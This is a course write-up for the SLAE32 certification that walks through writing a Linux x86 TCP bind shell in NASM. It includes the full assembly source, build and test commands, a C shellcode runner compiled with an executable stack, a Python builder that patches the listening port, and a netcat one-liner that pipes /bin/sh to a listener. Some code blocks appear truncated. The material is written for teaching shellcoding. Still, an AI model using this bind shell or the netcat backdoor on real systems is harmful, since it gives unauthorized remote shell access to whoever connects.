Assignment N°1 - Bindshell (NASM)

Assignment Goals


This paper is part of the certification process following the SLAE32 course (x86 Assembly Language and Shellcoding on Linux) intended to prepare me to become a future certified OSCE.

If you are willing to pass the certification I really suggest you to wait until you finished your own certification process before reading that paper.

Why? the goal of that certification is to practice and learn how to solve each assignment by yourself. If you read this paper you will get spoiled and seriously oriented to my personal solution and take the risk to abuse of some shortcuts.

Student ID: SLAE-1530

  1. Create a TCP Bindshell Shellcode for Linux x86-32.

  2. The port number should be easily configurable.

  3. Bonus if getting referenced in exploit-db or shell-storm.

TCP Bindshell Principle

In few words, a TCP Bindshell is a tiny server program that waits for new clients on a specific port.

When a new client connects to the server it will spawn a new shell (Ex: /bin/bash or /bin/sh) and “binds” its file descriptors stdin(0) stdout(1) stderr(2) to the new client socket.

Yes, a socket is nothing more than a file.

One infamous method to easily create a bindshell is to use Netcat as following:

root@local:# mknod /tmp/backpipe p && /bin/sh 0</tmp/backpipe | nc -lvp 443 1>/tmp/backpipe

When you connect to port 443 (with any dumb client program ex: Netcat, Telnet) you will get remote control over shell instance.

user@local:$ nc 443

On Linux, you must have root privilege or capability to listen on a port. Keep that in mind if you try to execute a Bindshell Shellcode on a program without sufficient privilege.

Example Result

Bindshell Netcat


Method 1 - Classic

Required Syscalls

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
359 0x167 socket()
54 0x36 setsockopt()
361 0x169 bind()
363 0x16b listen()
364 0x16c accept4()
63 0x3f dup2()
11 0xb execve()

This technique is what we would use if we were coding a classic server program using higher language (C/C++, Pascal etc..).

It is more readable and convenient. We won’t use that method for creating our bindshell shellcode, so we will just briefly enumerate required steps.


  • Create a new IPv4/TCP socket using socket().
  • Call setsockopt() to avoid “address already in use” error.
  • Call bind() to associate a local address to our socket.
  • Tell our socket listen for new clients using listen().
  • Hang our program until a new client connects to our server and return a new client socket using accept4().
  • Duplicate stdin(0), stdout(1) and stderr(2) file descriptors with client socket using dup2().
  • Finally, spawn a new shell using execve() with /bin/sh or any shell you want.

For this exercise we will rather manipulate sockets only using one famous syscall: socketcall().

Method 2 - socketcall()

Required Syscalls

Below table is ordered by syscall execution order.

Decimal N° Hex N° Name
102 0x66 socketcall()
63 0x3f dup2()
11 0xb execve()

Steps are exactly the same as for classical method (see above) but this time only with three distinct syscalls to achieve the same result.

We will replace socket(), setsockopt(), bind(), listen() and accept() only with socketcall() calls.

Quote from : socketcall man page

« … On a some architectures—for example, x86-64 and ARM—there is no socketcall() system call; instead socket(2), accept(2), bind(2), and so on really are implemented as separate system calls. … »

socketcall() usage schema

It requires three registers: eax, ebx and ecx

  • eax register value needs to be set to 0x66 representing the syscall number for socketcall()

  • ebx register must contain the call number (see below table)

Call Number (Hex) Call Name Classic Equivalent
0x1 SYS_SOCKET socket()
0xd SYS_SETSOCKOPT setsockopt()
0xc SYS_BIND bind()
0x2 SYS_LISTEN listen()
0x3 SYS_ACCEPT accept()
  • ecx register contain an address pointing a stack location where additional parameters are placed if necessary.

Assembly Code Creation Plan


Our objective wont be to create the smallest possible Shellcode.

Rather we will use more exotic things which requires more lengthy instructions.

We will only use push instruction one time in our code for preparing memory (nil memory). We will work manually on stack throughout the building of our shellcode.

Finally last objective is to enjoy building that exercise and prepare ourself to abuse of GDB ☕

Part I - Prepare Memory

The very first step of our code is to prepare the memory. We will makes sure that a bunch of lower stack addresses are initialized with zero (around 30 is far enough) to ensure the stack is clean before doing manual memory manipulations.

Some benefits include:

  • Avoiding NULL characters in our final shellcode.
  • Limiting instructions count (when working with parameters set to zero/NULL).
  • Be freed of unexpected behaviors when setting a single byte or word to a specific stack location.

Part II - Create our Server

We now safely work on stack addresses, we can continue on building our server. Five steps are required so far.

Step 1 : Create Socket

Syscall socketcall() will be used with ebx set to 0x1 = SYS_SOCKET.

Additional parameters needs to be set on stack:

Stack (Low Address)
AF_INET = 2 (4B)
AUTO = 0 (4B)
*Debugging* : return value (eax register) must be non negative. The function returns a new socket.
Step 2 : Fix occasional “address already in use” error

Syscall socketcall() will be used with ebx set to 0xd = SYS_SETSOCKOPT.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
addr_of(socketlen_t) (4B)
len(socketlen_t) = 4 (4B)
*Debugging* : return value (eax register) must be zero.
Step 3 : Associate local address to socket

Syscall socketcall() will be used with ebx set to 0xc = SYS_BIND.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
addr_of(sockaddr_in) (4B)
len(sockaddr_in) (4B)
AF_INET = 2 (2B)
Port Number = htons(443) (2B)
0 (8B)
*Debugging* : return value (eax register) must be zero.
Step 4 : Listen for incoming connections

Syscall socketcall() will be used with ebx set to 0x2 = SYS_LISTEN.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
backlog = 0 (4B)
*Debugging* : return value (eax register) must be zero.
Step 5 : Acquire new client socket

Syscall socketcall() will be used with ebx set to 0x3 = SYS_ACCEPT.

Additional parameters needs to be set on stack:

Stack (Low Address)
socket handle (4B)
NULL (sockaddr)
NULL len(sockaddr)
*Debugging* : return value (eax register) must be non negative. Function returns a new client socket.
Since by default we are using sockets in blocking mode, at this moment program will hang until a new client connects to our server (no panic, it is perfectly normal).

Part III - Duplicate File Descriptors

Our server is now willing to acquire new clients, we will now focus on “binding” acquired client socket with stdin(0), stdout(1) and stderr(2) file descriptors.

To do so, we will use the function dup2() designated by the syscall 0x3f

  • ebx register will contain the client socket handle.
  • ecx register will contain the file descriptor number.

To avoid repeating code and increasing the shellcode size, we will loop from 0 to 2 (included).

for ($ecx = 0; $ecx <= 2; $ecx++){
    dup2(c_socket, $ecx)
*Debugging* : eax must be greater or equal to zero. 
On success value is equal to value placed in `ecx` register.

PART IV - Execute a new /bin/sh shell

This part focus on creating a classical execve() call to our desired shell. This syscall number is 0xb and as always placed inside eax register.

For pathname (ebx) we will push the string /bin/sh directly to stack. String slices must be aligned to 4 Bytes. Final string must be NULL terminated.

For argv (ecx), the best practice is to provide an address pointing to our shell string (/bin/sh)

Finally argc (edx) will be set to NULL because unused.

stack representation for ebx parameter

Stack (Low Address)
“hs//” (4B)
“nib/” (4B)

stack representation for ecx parameter

Stack (Low Address)

Our recipe is now finished we can “safely” enter in the best part as fun as frustrating.

If we were expected to create a regular program, we would take care of closing both server and client socket before gracefully exiting our program. When creating shellcode we are not always excepted to do that unless we want to be sure we would not crash the whole vulnerable application.

TCP Bind Assembly Code (NASM)

; Filename : bindshell.nasm                         ;
; Author   : Jean-Pierre LESUEUR                    ;
; Website  :                ;
; Email    :                   ;
; Twitter  : @DarkCoderSc                           ;
;                                                   ;
; --------------------------------------------------;
; SLAE32 Certification Exercise N°1                 ;
; (Pentester Academy).                              ; 
;                  ;
; --------------------------------------------------;
;                                                   ;
; Purpose:                                          ;
; --------------------------------------------------;
; Bind Shell                                        ;
; Bind to by default                    ;

; nasm -f elf32 -o bindshell.o bindshell.nasm
; ld -o bindshell bindshell.o
; ./bindshell

global _start			

section .text

	mov ebp, esp
	xor eax, eax
	xor ebx, ebx
	xor edx, edx
	xor esi, esi                   ; will contain our socket handle

	; fill 30 lower stack addresses with zero
	; sufficient for our payload
	xor ecx, ecx
	mov cl, 0x1e

	push eax                        ; push 0x00000000 to stack
	loop _zeromemory

	mov esp, ebp                    ; stack pointer to initial location	

	; socket()
	mov bl, 0x1                     ; SYS_SOCKET
	mov byte [esp-0x8], 0x1         ; SOCK_STREAM
	mov byte [esp-0xc], 0x2         ; AF_INET

	sub esp, 0xc
	mov ecx, esp

	mov al, 0x66                    ; socketcall() syscall number 
	int 0x80      
	mov esi, eax                    ; save new socket handle

	; setsockopt()
	xor eax, eax
	add bl, 0xd                     ; SYS_SETSOCKOPT

	mov byte [esp-0x4], 0x4         ; length of socklen_t
	sub esp, 0x4

	mov dword [esp-0x4], esp        ; addr of socklen_t
	mov byte [esp-0x8], 0x2         ; SO_REUSEADDR
	mov byte [esp-0xc], 0x1         ; SOL_SOCKET
	mov dword [esp-0x10], esi       ; socket handle

	sub esp, 0x10

	mov ecx, esp

	mov al, 0x66                    ; socketcall() syscall number 
	int 0x80

	; bind()
	xor eax, eax
	sub bl, 0xc                     ; SYS_BIND

	; struct sockaddr_in /* Size = 16B */ {       ;;
	;	short    sin_family;		// 2B         ;;
	;	unsigned short sin_port;	// 2B         ;;
	;	long     s_addr;            // 4B         ;;
	;	char     sin_zero[8];		// 8B         ;;
	; }                                           ;;

	; prepare sockaddr_in struct

	mov al, 0x01
	mov ah, 0xbb
	mov word [esp-0xe], ax          ; port = 443
	mov byte [esp-0x10], 0x2        ; AF_INET

	xor eax, eax
	mov al, 0x10
	sub esp, eax
	mov byte [esp-0x4], 0x10        ; length sockaddr_in (16 Bytes)
	mov dword [esp-0x8], esp        ; addr of sockaddr_in

	mov dword [esp-0xc], esi        ; our socket handle

	sub esp, 0xc
	mov ecx, esp
	xor eax, eax
	mov al, 0x66                    ; socketcall() syscall number          
	int 0x80                  

	; listen()
	add bl, 2                       ; SYS_LISTEN	

	mov dword [esp-0x8], esi        ; out socket handle

	sub esp, 0x8
	mov ecx, esp

	mov al, 0x66                    ; socketcall() syscall number          
	int 0x80           

	; accept()
	inc bl                          ; SYS_ACCEPT

	mov [esp-0xc], esi              ; out socket handle

	sub esp, 0xc

	mov ecx, esp

	mov al, 0x66                    ; socketcall() syscall number  
	int 0x80           

	mov ebx, eax                    ; assign our new client socket to ebx

	; dup2() : Loop from 0 to 2 
	;          (stdin, stdout, stderr)
	xor ecx, ecx
	xor eax, eax	

	mov al, 0x3f       
	int 0x80  

	inc cl
	cmp cl, 0x2
	jle _dup2     

	; execve()
	xor eax, eax
	xor ebx, ebx
	xor ecx, ecx

	; /bin/sh
	mov dword [esp-0x8], 0x68732f2f
	mov dword [esp-0xc], 0x6e69622f
	sub esp, 0xc

	mov ebx, esp

	sub esp, 0x4

	mov edx, esp

	mov dword [esp-0x4], ebx
	sub esp, 0x4

	mov ecx, esp
	mov al, 0xb                     ; execve() syscall number
	int 0x80

Compile and Test our Payload

user@local:$ nasm -f elf32 -o bindshell.o bindshell.nasm

user@local:$ ld -o bindshell bindshell.o

Remember, we must be root.

root@local:$ ./bindshell

TCP Bindshell (NASM)

Final Payload (Raw)

We will use a famous command from commandlinefu and extract opcodes from our binary.

user@local:$ objdump -d ./bindshell|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g'-v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' '


To ensure our shellcode is working when embedded inside a willingly vulnerable program, we will paste it inside our SLAE32 shellcode.c template file.


unsigned char code[] = \

	printf("Shellcode Length:  %d\n", strlen(code));

	int (*ret)() = (int(*)())code;


user@local:$ gcc shellcode.c -o shellcode -z execstack

root@local:$ ./shellcode

Remember(2), we must be root.

Shellcode Builder (Python3)

Last and not mandatory exercise goal is to propose a way to replace default TCP port number (in our case 443) with any ports from 0 to 65535.

This part is quite hard to explain so I wont promise it will be the clearer possible. Forgive me in advance.

We absolutely need to take care of two important things:


Port number needs to be converted in Big-Endian as required by documentation related to networking programming then hex encoded.

Output port needs to be inserted in reverse order inside our payload.


Lets imagine we have port 443 which gives 0xbb01 (converted and encoded), in this case everything is fine but what if we use a port converted and encoded as 0x0080, well it will be padded with a NULL character and it is punished by law to keep a NULL character inside our shellcode.

Solving first point is simple as using the htons() function from socket python library then classically encode output as hexadecimal string.

Solving the second issue requires more work (I particularly felt trolled by this part).

Fortunately this issue was anticipated in our code and voluntarily left unexplained until now.

mov al, 0x01
mov ah, 0xbb
mov word [esp-0xe], ax ; port = 443

A port number is a word (2 Bytes), to its must be greater or equal to 0x100 to be free of NULL character. Lets imagine if we were doing this way:

mov eax, 0xbb01
mov dword [esp-0xe], eax

This would result having two NULL characters since eax is a 4 bytes register and we are placing only two bytes inside.

In this specific case we could easily fix that issue with bellow code:

mov ax, 0xbb01
mov word [esp-0xe], ax

This will work if we are using a port above 0x100 but what if our TCP port is in the lower range. It will result to a NULL character ax is 2 bytes long and we are placing a single byte.

One solution is to move the port in two set of instructions.

First we move the first byte to the ah register, then we move the second byte to al register.

If we are using a port below 0x100, we will singly remove from our raw shellcode instruction mov al, ... (designated by opcodes \xb0\xb01).

Builder Code (Python3)

This technique is the first techniques that came in my mind, there are literally infinite ways of doing.

	Jean-Pierre LESUEUR

	SLAE32 Certification Exercise N°1
 	(Pentester Academy).


 	This python script will generate the final payload with desired TCP port number.

import socket
import sys
from textwrap import wrap

shellcode = (

if len(sys.argv) != 2:
	print("Usage: ./ <port_number>")
	tcp_port = int(sys.argv[1])

	if (tcp_port > 65535) or (tcp_port < 0):
		print("Invalid port number (0..65535)")
		# Format port 

		raw_port = ('{:04x}'.format(socket.htons(tcp_port)))		

		raw_port_1 = "\\x{}".format(raw_port[2:4])
		raw_port_2 = "\\x{}".format(raw_port[:2])			
		# Modify existing shellcode (hundred of possibilities)		

		if raw_port_1 == "\\x00":
			shellcode = shellcode.replace("\\xb0\\x01", "") 			
			shellcode = shellcode.replace("\\xb0\\x01", "\\xb0{}".format(raw_port_1)) 
		shellcode = shellcode.replace("\\xb4\\xbb", "\\xb4{}".format(raw_port_2))

		#shellcode = shellcode.replace("\\x01\\xbb", patch)

		final_payload = "// Shellcode size = {}\n".format(int(len(shellcode) / 4))
		final_payload += "unsigned char code[] = \\\n"

		for l in wrap(shellcode, 64):
			final_payload += "\t\"{}\"\n".format(l)

		final_payload = final_payload[:-1] + ";"



user@local:$ python3 ./ 1403


user@local:$ chmod +x && ./ 1403

Bindshell Generator

Replace output content to SLAE32 C shellcode.c template and see what happens when varying port number.

Exercise Solution Github Repository

git clone


Creating a TCP bindshell shellcode is straightforward but not an easy task.

It requires a solid comprehension of shellcoding and assembly throughout all steps. On the 7th exercises for passing the SLAE32 certification this is probably the most exausting part both for solving the challenge and explaning through this paper.

TCP Bindshells are not always the best choice because of privilege lacking / port filtering etc.. Using reverse shell is often a more effective and realistic technique and coincidentally it is the subject of next exercise 😊

comments powered by Disqus